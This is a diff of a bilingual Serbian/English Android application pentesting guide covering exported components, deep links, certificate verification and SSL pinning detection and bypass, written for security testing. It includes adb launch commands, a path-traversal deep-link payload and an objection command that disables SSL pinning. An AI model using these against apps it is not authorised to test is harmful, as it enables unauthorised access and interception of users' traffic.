A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it.
|
||||
|
||||
### Broken Cryptography
|
||||
### Neispravna kriptografija
|
||||
|
||||
**Poor Key Management Processes**
|
||||
**Loši procesi upravljanja ključevima**
|
||||
|
||||
Neki developeri čuvaju osetljive podatke u lokalnoj memoriji i encrypt-uju ih sa ključem hardkodiranim/predvidivim u kodu. Ovo ne bi trebalo raditi jer neki reversing može omogućiti napadačima da izvuku poverljive informacije.
|
||||
Neki developeri čuvaju osetljive podatke u lokalnoj memoriji i enkriptuju ih ključem hardcodiranim/predvidivim u kodu. Ovo ne bi trebalo raditi jer bi neki reversing mogao omogućiti napadačima da izvuku poverljive informacije.
|
||||
|
||||
**Use of Insecure and/or Deprecated Algorithms**
|
||||
**Korišćenje nesigurnih i/ili zastarelih algoritama**
|
||||
|
||||
Developeri ne bi trebalo da koriste **deprecated algorithms** za izvršavanje autorizacionih **checks**, **store** ili **send** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se **hashes** koriste za čuvanje lozinki na primer, treba koristiti hashove otporne na **brute-force** sa **salt**.
|
||||
Developeri ne bi trebalo da koriste **deprecated algorithms** za izvođenje autorizacionih **checks**, za **store** ili **send** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se koriste **hashes** za čuvanje lozinki, na primer, treba koristiti **hashes brute-force resistant** sa salt-om.
|
||||
|
||||
### Other checks
|
||||
### Ostale provere
|
||||
|
||||
- It's recommended to **obfuscate the APK** to difficult the reverse engineer labour to attackers.
|
||||
- Ako je app osetljiv (kao bankarske aplikacije), treba da izvrši svoje **own checks to see if the mobile is rooted** i postupiti u skladu sa tim.
|
||||
- Ako je app osetljiv (kao bankarske aplikacije), treba da proveri da li se koristi **emulator**.
|
||||
- Ako je app osetljiv (kao bankarske aplikacije), treba da **check it's own integrity before executing** kako bi se proverilo da li je modifikovan.
|
||||
- Koristite [**APKiD**](https://github.com/rednaga/APKiD) da proverite koji compiler/packer/obfuscator je korišćen za izgradnju APK
|
||||
- Preporučuje se da **obfuscate the APK** kako bi se otežao reverse engineer labour napadačima.
|
||||
- Ako je aplikacija osetljiva (poput bank apps), treba da izvrši svoje sopstvene provere da li je mobilni **rooted** i da postupi u skladu s tim.
|
||||
- Ako je aplikacija osetljiva (poput bank apps), treba da proveri da li se koristi **emulator**.
|
||||
- Ako je aplikacija osetljiva (poput bank apps), treba da **check it's own integrity before executing** kako bi proverila da li je izmenjena.
|
||||
- Koristite [**APKiD**](https://github.com/rednaga/APKiD) da proverite koji compiler/packer/obfuscator je korišćen za izgradnju APK-a
|
||||
|
||||
### React Native Application
|
||||
|
||||
@ -235,45 +236,45 @@ content-protocol.md
|
||||
|
||||
## Dynamic Analysis
|
||||
|
||||
> Prvo, potrebno vam je okruženje gde možete instalirati aplikaciju i celu okolinu (Burp CA cert, Drozer and Frida mainly). Stoga se toplo preporučuje rooted uređaj (emulirani ili ne).
|
||||
> Prvo, potrebno je okruženje u kojem možete instalirati aplikaciju i sva okruženja (Burp CA cert, Drozer and Frida prvenstveno). Stoga je veoma preporučljivo imati rooted device (emuliran ili ne).
|
||||
|
||||
### Online Dynamic analysis
|
||||
|
||||
Možete napraviti **free account** na: [https://appetize.io/](https://appetize.io). Ova platforma vam omogućava da **upload** i **execute** APK-ove, pa je korisna da vidite kako se apk ponaša.
|
||||
You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
|
||||
|
||||
Možete čak **see the logs of your application** na webu i povezati se preko **adb**.
|
||||
You can even **see the logs of your application** in the web and connect through **adb**.
|
||||
|
||||
.png>)
|
||||
|
||||
Zahvaljujući ADB konekciji možete koristiti **Drozer** i **Frida** unutar emulatora.
|
||||
Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators.
|
||||
|
||||
### Local Dynamic Analysis
|
||||
|
||||
#### Using an emulator
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Možete kreirati **x86** i **arm** uređaje, i prema [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** verzije **support ARM libraries** bez potrebe za sporim arm emulatorom).
|
||||
- Naučite kako da ga podesite na ovoj strani:
|
||||
- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator).
|
||||
- Learn to set it up in this page:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, potrebno je kreirati nalog. _Preporučuje se da **download** verziju **WITH**_ _**VirtualBox** da bi se izbegle potencijalne greške._)
|
||||
- [**Nox**](https://es.bignox.com) (Free, ali ne podržava Frida ili Drozer).
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
|
||||
- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer).
|
||||
|
||||
> [!TIP]
|
||||
> Kada kreirate novi emulator na bilo kojoj platformi zapamtite da što je veći ekran to će emulator sporije raditi. Zato, po mogućstvu, odaberite manje ekrane.
|
||||
> When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible.
|
||||
|
||||
Da biste **install google services** (kao AppStore) u Genymotion potrebno je da kliknete na crveno označeno dugme na sledećoj slici:
|
||||
To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image:
|
||||
|
||||
.png>)
|
||||
|
||||
Takođe, primetite da u **configuration of the Android VM in Genymotion** možete izabrati **Bridge Network mode** (ovo će biti korisno ako ćete se povezivati na Android VM iz drugog VM-a sa alatkama).
|
||||
Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools).
|
||||
|
||||
#### Use a physical device
|
||||
|
||||
Potrebno je aktivirati **debugging** opcije i poželjno je ako ga možete **root**-ovati:
|
||||
You need to activate the **debugging** options and it will be cool if you can **root** it:
|
||||
|
||||
1. **Settings**.
|
||||
2. (FromAndroid 8.0) Select **System**.
|
||||
@ -281,41 +282,41 @@ Potrebno je aktivirati **debugging** opcije i poželjno je ako ga možete **root
|
||||
4. Press **Build number** 7 times.
|
||||
5. Go back and you will find the **Developer options**.
|
||||
|
||||
> Kada instalirate aplikaciju, prvo što treba da uradite je da je probate i istražite šta radi, kako radi i da se udobno upoznate sa njom.\
|
||||
> Predlažem da **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, tako ćemo moći da **learn how the application works** dok MobSF **captures** puno **interesting** **data** koje možete kasnije pregledati.
|
||||
> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
|
||||
> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on.
|
||||
|
||||
### Unintended Data Leakage
|
||||
|
||||
**Logging**
|
||||
|
||||
Developeri treba da budu oprezni da ne izlažu **debugging information** javno, jer to može dovesti do curenja osetljivih podataka. Alati [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` se preporučuju za praćenje logova aplikacije kako bi se identifikovale i zaštitile osetljive informacije. **Pidcat** je poželjan zbog jednostavnosti korišćenja i čitljivosti.
|
||||
Developers should be cautious of exposing **debugging information** publicly, as it can lead to sensitive data leaks. The tools [**pidcat**](https://github.com/JakeWharton/pidcat) and `adb logcat` are recommended for monitoring application logs to identify and protect sensitive information. **Pidcat** is favored for its ease of use and readability.
|
||||
|
||||
> [!WARNING]
|
||||
> Imajte na umu da od **later newer than Android 4.0**, **applications are only able to access their own logs**. Dakle aplikacije ne mogu pristupiti logovima drugih aplikacija.\
|
||||
> U svakom slučaju, i dalje se preporučuje da **not log sensitive information**.
|
||||
> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
|
||||
> Anyway, it's still recommended to **not log sensitive information**.
|
||||
|
||||
**Copy/Paste Buffer Caching**
|
||||
|
||||
Androidov **clipboard-based** framework omogućava copy-paste funkcionalnost u aplikacijama, ali predstavlja rizik jer **other applications** mogu **access** clipboard i potencijalno izložiti osetljive podatke. Važno je **disable copy/paste** funkcije za osetljive delove aplikacije, poput podataka o kreditnim karticama, da bi se sprečilo curenje podataka.
|
||||
Android's **clipboard-based** framework enables copy-paste functionality in apps, yet poses a risk as **other applications** can **access** the clipboard, potentially exposing sensitive data. It's crucial to **disable copy/paste** functions for sensitive sections of an application, like credit card details, to prevent data leaks.
|
||||
|
||||
**Crash Logs**
|
||||
|
||||
Ako aplikacija **crashes** i **saves logs**, ti logovi mogu pomoći napadačima, posebno kada aplikacija ne može biti reverse-engineer-ovana. Da biste umanjili ovaj rizik, izbegavajte logovanje pri padovima, i ako logovi moraju biti poslati preko mreže, osigurajte da se šalju putem SSL kanala.
|
||||
If an application **crashes** and **saves logs**, these logs can assist attackers, particularly when the application cannot be reverse-engineered. To mitigate this risk, avoid logging on crashes, and if logs must be transmitted over the network, ensure they are sent via an SSL channel for security.
|
||||
|
||||
Kao pentester, **try to take a look to these logs**.
|
||||
As pentester, **try to take a look to these logs**.
|
||||
|
||||
**Analytics Data Sent To 3rd Parties**
|
||||
|
||||
Aplikacije često integrišu servise poput Google Adsense, koji mogu nenamerno **leak** osetljive podatke zbog nepravilne implementacije od strane developera. Da biste identifikovali potencijalna curenja podataka, preporučljivo je **intercept the application's traffic** i proveriti da li se osetljive informacije šalju trećim stranama.
|
||||
Applications often integrate services like Google Adsense, which can inadvertently **leak sensitive data** due to improper implementation by developers. To identify potential data leaks, it's advisable to **intercept the application's traffic** and check for any sensitive information being sent to third-party services.
|
||||
|
||||
### SQLite DBs
|
||||
|
||||
Većina aplikacija koristi **internal SQLite databases** za čuvanje informacija. Tokom pentest-a pogledajte **databases** koje su kreirane, imena **tables** i **columns** i sve **data** koja je sačuvana jer možete pronaći **sensitive information** (što bi bila ranjivost).\
|
||||
Databases bi trebalo da budu locirane u `/data/data/the.package.name/databases` kao `/data/data/com.mwr.example.sieve/databases`
|
||||
Most of the applications will use **internal SQLite databases** to save information. During the pentest take a **look** to the **databases** created, the names of **tables** and **columns** and all the **data** saved because you could find **sensitive information** (which would be a vulnerability).\
|
||||
Databases should be located in `/data/data/the.package.name/databases` like `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
Ako baza podataka čuva poverljive informacije i ona je **encrypted b**ut možete **find** lozinku unutar aplikacije, to je i dalje **vulnerability**.
|
||||
If the database is saving confidential information and is **encrypted b**ut you can **find** the **password** inside the application it's still a **vulnerability**.
|
||||
|
||||
Enumerišite tabele koristeći `.tables` i enumerišite kolone tabela koristeći `.schema <table_name>`
|
||||
Enumerate the tables using `.tables` and enumerate the columns of the tables doing `.schema <table_name>`
|
||||
|
||||
### Drozer (Exploit Activities, Content Providers and Services)
|
||||
|
||||
@ -325,120 +326,120 @@ Drozer is s useful tool to **exploit exported activities, exported services and
|
||||
### Exploiting exported Activities
|
||||
|
||||
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Takođe zapamtite da kod jedne activity počinje u **`onCreate`** metodi.
|
||||
Also remember that the code of an activity starts in the **`onCreate`** method.
|
||||
|
||||
**Authorisation bypass**
|
||||
|
||||
Kada je Activity exported, možete pozvati njen ekran iz eksternе aplikacije. Dakle, ako je activity sa **sensitive information** **exported**, mogli biste **bypass** **authentication** mehanizme **to access it.**
|
||||
When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**
|
||||
|
||||
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
Možete takođe pokrenuti exported activity iz adb:
|
||||
You can also start an exported activity from adb:
|
||||
|
||||
- PackageName is com.example.demo
|
||||
- Exported ActivityName is com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**NAPOMENA**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21).
|
||||
**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21).
|
||||
|
||||
> [!TIP]
|
||||
> Imajte na umu da authorisation bypass nije uvek ranjivost; to zavisi od načina na koji bypass radi i koje informacije su exposed.
|
||||
> Imajte na umu da authorisation bypass nije uvek ranjivost — to zavisi od toga kako bypass funkcioniše i koje informacije su izložene.
|
||||
|
||||
**Sensitive information leakage**
|
||||
|
||||
**Activities can also return results**. Ako uspete da pronađete exported i nezaštićenu activity koja poziva **`setResult`** metodu i **vraća osetljive informacije**, postoji sensitive information leakage.
|
||||
**Activities can also return results**. Ako uspete da pronađete exported i nezaštićenu activity koja poziva metodu **`setResult`** i koja vraća osetljive informacije, postoji sensitive information leakage.
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
Ako Tapjacking nije sprečen, možete zloupotrebiti exported activity da naterate **korisnika da izvrši neočekivane radnje**. For more info about [**what is Tapjacking follow the link**](#tapjacking).
|
||||
Ako tapjacking nije sprečen, možete zloupotrebiti exported activity da naterate **korisnika da izvrši neočekivane radnje**. For more info about [**what is Tapjacking follow the link**](#tapjacking).
|
||||
|
||||
### Exploiting Content Providers - Accessing and manipulating sensitive information
|
||||
|
||||
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
|
||||
Content providers se uglavnom koriste za **share data**. Ako aplikacija ima dostupne content providers možda ćete moći da **extract sensitive** podatke iz njih. Takođe je interesantno testirati moguće **SQL injections** i **Path Traversals** jer bi mogli biti ranjivi.
|
||||
Content providers se koriste uglavnom za **deljenje podataka**. Ako aplikacija ima dostupne content providers, možda ćete moći da **izvučete osetljive** podatke iz njih. Takođe je interesantno testirati moguće **SQL injections** i **Path Traversals** jer bi mogli biti ranjivi.
|
||||
|
||||
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **Exploiting Services**
|
||||
|
||||
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
|
||||
Zapamtite da akcije Service-a počinju u metodi `onStartCommand`.
|
||||
Zapamtite da se akcije Service-a pokreću u metodi `onStartCommand`.
|
||||
|
||||
Service je u suštini nešto što **može primiti podatke**, **obraditi** ih i **vratiti** (ili ne) odgovor. Dakle, ako aplikacija exportuje neke servise treba da **proverite** **kod** da biste razumeli šta radi i **testirate** ga **dinamički** radi izvlačenja poverljivih informacija, zaobilaženja mera autentifikacije...\
|
||||
Service je u suštini nešto što **može primati podatke**, **procesuirati** ih i (ili ne) **vraća** odgovor. Dakle, ako aplikacija eksportuje neke servise, trebalo bi da **proverite** kod da biste razumeli šta radi i **testirate** ga **dinamički** radi izvlačenja poverljivih informacija, zaobilaženja autentifikacionih mera...
|
||||
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Exploiting Broadcast Receivers**
|
||||
|
||||
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Zapamtite da akcije Broadcast Receiver-a počinju u metodi `onReceive`.
|
||||
Zapamtite da se akcije Broadcast Receiver-a pokreću u metodi `onReceive`.
|
||||
|
||||
Broadcast receiver će čekati određeni tip poruke. U zavisnosti od načina na koji receiver obrađuje poruku, može biti ranjiv.\
|
||||
Broadcast receiver će čekati određenu vrstu poruke. U zavisnosti od toga kako receiver obrađuje poruku, može biti ranjiv.\
|
||||
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Exploiting Schemes / Deep links**
|
||||
|
||||
Možete tražiti deep links ručno, koristeći alate kao MobSF ili skripte kao [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Možete tražiti deep links ručno, koristeći alate kao što su MobSF ili skripte kao [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Možete **open** deklarisani **scheme** koristeći **adb** ili **browser**:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_Imajte na umu da možete **izostaviti naziv paketa** i mobilni uređaj će automatski pozvati aplikaciju koja treba da otvori tu vezu._
|
||||
_Imajte na umu da možete **omit the package name** i mobilni uređaj će automatski pozvati app koji treba da otvori taj link._
|
||||
```html
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
<!-- fallback in your url you could try the intent url -->
|
||||
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
|
||||
```
|
||||
**Kod koji se izvršava**
|
||||
**Kod koji će biti izvršen**
|
||||
|
||||
Da biste pronašli **kod koji će biti izvršen u aplikaciji**, idite na activity koju poziva deep link i potražite funkciju **`onNewIntent`**.
|
||||
Da biste pronašli **kod koji će biti izvršen u App**, otiđite na aktivnost koju poziva deeplink i potražite funkciju **`onNewIntent`**.
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
**Osetljive informacije**
|
||||
|
||||
Svaki put kada nađete deep link, proverite da li **ne prima osetljive podatke (kao što su lozinke) putem URL parametara**, jer bilo koja druga aplikacija može **impersonate the deep link i ukrasti te podatke!**
|
||||
Svaki put kada nađete deep link, proverite da li **ne prima osetljive podatke (poput lozinki) putem URL parametara**, jer bilo koja druga aplikacija može **lažno predstavljati deep link i ukrasti te podatke!**
|
||||
|
||||
**Parametri u putanji**
|
||||
|
||||
Morate takođe proveriti da li neki deep link koristi parametar unutar putanje URL-a, kao na primer: `https://api.example.com/v1/users/{username}` , u tom slučaju možete prouzrokovati path traversal pristupom nečemu poput: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
|
||||
Imajte na umu da ako pronađete ispravne endpoint-e unutar aplikacije, možete izazvati **Open Redirect** (ako je deo putanje korišćen kao domain name), **account takeover** (ako možete izmeniti podatke korisnika bez CSRF tokena i ranjivi endpoint koristi ispravan metod) i bilo koju drugu ranjivost. Više [info about this here](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Takođe **morate proveriti da li neki deep link koristi parametar unutar putanje** URL-a kao: `https://api.example.com/v1/users/{username}`, u tom slučaju možete naterati path traversal pristupom nečemu poput: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Napomena: ako pronađete odgovarajuće endpoint-e unutar aplikacije možda ćete moći da izazovete **Open Redirect** (ako je deo putanje korišćen kao domain name), **account takeover** (ako možete izmeniti podatke korisnika bez CSRF token i ranjivi endpoint je koristio odgovarajući metod) i bilo koju drugu ranjivost. Više informacija o ovome [ovde](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Više primera**
|
||||
**Još primera**
|
||||
|
||||
An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Transport Layer Inspection and Verification Failures
|
||||
### Inspekcija transportnog sloja i greške verifikacije
|
||||
|
||||
- **Certificates are not always inspected properly** od strane Android aplikacija. Uobičajeno je da ove aplikacije ignorišu upozorenja i prihvate self-signed sertifikate ili, u nekim slučajevima, pređu na korišćenje HTTP konekcija.
|
||||
- **Negotiations during the SSL/TLS handshake are sometimes weak**, koristeći nesigurne cipher suite-ove. Ova ranjivost čini konekciju podložnom man-in-the-middle (MITM) napadima, omogućavajući napadačima da dekriptuju podatke.
|
||||
- **Leakage of private information** predstavlja rizik kada se aplikacije autentifikuju koristeći sigurne kanale, ali potom za druge transakcije komuniciraju preko nesigurnih kanala. Ovakav pristup ne štiti osetljive podatke, kao što su session cookies ili podaci o korisniku, od presretanja od strane zlonamernih entiteta.
|
||||
- **Sertifikati nisu uvek pravilno proveravani** od strane Android aplikacija. Često ove aplikacije zanemare upozorenja i prihvate samopotpisane sertifikate ili, u nekim slučajevima, pređu na HTTP konekcije.
|
||||
- **Pregovori tokom SSL/TLS handshaka ponekad su slabi**, koristeći nesigurne cipher suite-ove. Ova ranjivost čini konekciju podložnom man-in-the-middle (MITM) napadima, dopuštajući napadačima da dešifruju podatke.
|
||||
- **Iscurivanje privatnih informacija** je rizik kada se aplikacije autentifikuju koristeći sigurne kanale, a zatim komuniciraju preko nesigurnih kanala za druge transakcije. Ovakav pristup ne štiti osetljive podatke, poput session cookies ili podataka korisnika, od presretanja od strane zlonamernih entiteta.
|
||||
|
||||
#### Certificate Verification
|
||||
#### Verifikacija sertifikata
|
||||
|
||||
Fokusiraćemo se na **certificate verification**. Integritet serverovog sertifikata mora biti verifikovan kako bi se povećala bezbednost. Ovo je ključno zato što nesigurne TLS konfiguracije i slanje osetljivih podataka preko nekriptovanih kanala mogu predstavljati značajne rizike. Za detaljne korake o verifikaciji server sertifikata i otklanjanju ranjivosti, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) pruža sveobuhvatne smernice.
|
||||
Fokusiraćemo se na **verifikaciju sertifikata**. Integritet serverskog sertifikata mora biti verifikovan radi povećanja bezbednosti. Ovo je ključno zato što nesigurne TLS konfiguracije i prenos osetljivih podataka preko nekriptovanih kanala mogu predstavljati značajne rizike. Za detaljne korake kako verifikovati serverske sertifikate i otkloniti ranjivosti, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) pruža obuhvatne smernice.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
SSL Pinning je mera bezbednosti gde aplikacija verifikuje serverov sertifikat u odnosu na poznatu kopiju smeštenu unutar same aplikacije. Ova metoda je ključna za sprečavanje MITM napada. Preporučuje se implementacija SSL Pinning-a za aplikacije koje obrađuju osetljive informacije.
|
||||
SSL Pinning je bezbednosna mera gde aplikacija proverava serverski sertifikat naspram poznate kopije koje su smeštene unutar same aplikacije. Ova metoda je ključna za sprečavanje MITM napada. Preporučuje se implementacija SSL Pinning-a za aplikacije koje obrađuju osetljive informacije.
|
||||
|
||||
#### Traffic Inspection
|
||||
#### Inspekcija saobraćaja
|
||||
|
||||
Da biste pregledali HTTP saobraćaj, potrebno je **instalirati sertifikat proxy alata** (npr. Burp). Bez instalacije tog sertifikata, enkriptovani saobraćaj možda neće biti vidljiv kroz proxy. Za vodič o instalaciji custom CA sertifikata, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
Za inspekciju HTTP saobraćaja neophodno je **instalirati sertifikat proxy alata** (npr. Burp). Bez instaliranja ovog sertifikata, enkriptovani saobraćaj možda neće biti vidljiv kroz proxy. Za vodič o instaliranju custom CA sertifikata, [**kliknite ovde**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Aplikacije koje targetiraju **API Level 24 and above** zahtevaju izmene u Network Security Config da bi prihvatile CA sertifikat proxy-a. Ovaj korak je ključan za inspekciju enkriptovanog saobraćaja. Za instrukcije o modifikaciji Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
|
||||
Aplikacije koje ciljaju **API Level 24 and above** zahtevaju izmene Network Security Config da bi prihvatile proxy-jev CA sertifikat. Ovaj korak je kritičan za inspekciju enkriptovanog saobraćaja. Za instrukcije o izmeni Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Ako se koristi **Flutter**, treba pratiti instrukcije na [**this page**](flutter.md). Razlog je što samo dodavanje sertifikata u store neće raditi pošto Flutter ima sopstvenu listu validnih CA.
|
||||
Ako se koristi **Flutter**, potrebno je pratiti instrukcije na [**ovoj stranici**](flutter.md). To je zato što samo dodavanje sertifikata u store neće raditi jer Flutter ima sopstvenu listu validnih CA.
|
||||
|
||||
#### Static detection of SSL/TLS pinning
|
||||
#### Statičko otkrivanje SSL/TLS pinning
|
||||
|
||||
Pre nego što pokušate runtime bypass-e, brzo mapirajte gde je pinning primenjen u APK-u. Statičko otkrivanje pomaže da isplanirate hooks/patches i fokusirate se na prave code path-ove.
|
||||
Pre nego što pokušate runtime bypass-ove, brzo mapirajte gde je pinning primenjen u APK-u. Statičko otkrivanje pomaže da isplanirate hooks/patches i fokusirate se na prave kodne putanje.
|
||||
|
||||
Tool: SSLPinDetect
|
||||
- Open-source static-analysis utility koji dekompajlira APK u Smali (preko apktool) i skenira kurirane regex pattern-e implementacija SSL/TLS pinning-a.
|
||||
- Prijavljuje tačnu file path, line number i code snippet za svaki match.
|
||||
- Pokriva uobičajene framework-e i custom code path-ove: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init sa custom TrustManagers/KeyManagers, i Network Security Config XML pins.
|
||||
- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations.
|
||||
- Reports exact file path, line number, and a code snippet for each match.
|
||||
- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
|
||||
|
||||
Install
|
||||
- Prereqs: Python >= 3.8, Java on PATH, apktool
|
||||
@ -447,7 +448,7 @@ git clone https://github.com/aancw/SSLPinDetect
|
||||
cd SSLPinDetect
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
Korišćenje
|
||||
Upotreba
|
||||
```bash
|
||||
# Basic
|
||||
python sslpindetect.py -f app.apk -a apktool.jar
|
||||
@ -456,8 +457,7 @@ python sslpindetect.py -f app.apk -a apktool.jar
|
||||
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
|
||||
```
|
||||
Primer pravila obrazaca (JSON)
|
||||
|
||||
Koristite ili proširite signatures da detektujete proprietarne/prilagođene pinning stilove. Možete učitati sopstveni JSON i scan at scale.
|
||||
Koristite ili proširite signatures za otkrivanje vlasničkih/prilagođenih pinning styles. Možete učitati sopstveni JSON i scan at scale.
|
||||
```json
|
||||
{
|
||||
"OkHttp Certificate Pinning": [
|
||||
@ -471,43 +471,43 @@ Koristite ili proširite signatures da detektujete proprietarne/prilagođene pin
|
||||
]
|
||||
}
|
||||
```
|
||||
Napomene i saveti
|
||||
- Brzo skeniranje velikih aplikacija putem multi-threading i memory-mapped I/O; pre-compiled regex smanjuje overhead/lažne pozitivne rezultate.
|
||||
Beleške i saveti
|
||||
- Brzo skeniranje velikih aplikacija pomoću višestrukih niti i memorijski mapiranog I/O; pre-kompajlirani regex smanjuje režijske troškove i lažne pozitivne rezultate.
|
||||
- Kolekcija patterna: https://github.com/aancw/smali-sslpin-patterns
|
||||
- Tipični ciljevi za dalju trijažu:
|
||||
- OkHttp: korišćenje CertificatePinner, setCertificatePinner, okhttp3/okhttp reference paketa
|
||||
- Prilagođeni TrustManagers: javax.net.ssl.X509TrustManager, override checkServerTrusted
|
||||
- Prilagođeni SSL contexti: SSLContext.getInstance + SSLContext.init sa prilagođenim managerima
|
||||
- Tipične mete za sledeću trijažu:
|
||||
- OkHttp: korišćenje CertificatePinner, setCertificatePinner, reference paketa okhttp3/okhttp
|
||||
- Prilagođeni TrustManagers: javax.net.ssl.X509TrustManager, override-ovi checkServerTrusted
|
||||
- Prilagođeni SSL konteksti: SSLContext.getInstance + SSLContext.init sa prilagođenim menadžerima
|
||||
- Deklarativni pins u res/xml network security config i reference u manifestu
|
||||
- Iskoristite pronađene lokacije da planirate Frida hooks, statičke patch-eve ili reviziju konfiguracije pre dinamičkog testiranja.
|
||||
- Koristite podudarne lokacije da planirate Frida hook-ove, statičke zakrpe ili preglede konfiguracije pre dinamičkog testiranja.
|
||||
|
||||
|
||||
|
||||
#### Bypassing SSL Pinning
|
||||
|
||||
Kada je SSL Pinning implementiran, potrebno ga je zaobići da biste mogli da pregledate HTTPS saobraćaj. Za to postoje različite metode:
|
||||
Kada je implementiran SSL Pinning, za inspekciju HTTPS saobraćaja postaje neophodno zaobići ga. Postoji više metoda za to:
|
||||
|
||||
- Automatski **izmenite** **apk** da **zaobiđete** SSLPinning koristeći [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Najveća prednost ove opcije je što nećete trebati root da zaobiđete SSL Pinning, ali ćete morati da obrišete aplikaciju i ponovo instalirate izmenjenu verziju, i ovo neće uvek raditi.
|
||||
- Možete koristiti **Frida** (opisana dalje) da zaobiđete ovu zaštitu. Vodič za korišćenje Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Takođe možete pokušati da **automatski zaobiđete SSL Pinning** koristeći [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Takođe možete pokušati da **automatski zaobiđete SSL Pinning** koristeći **MobSF dynamic analysis** (objašnjeno niže)
|
||||
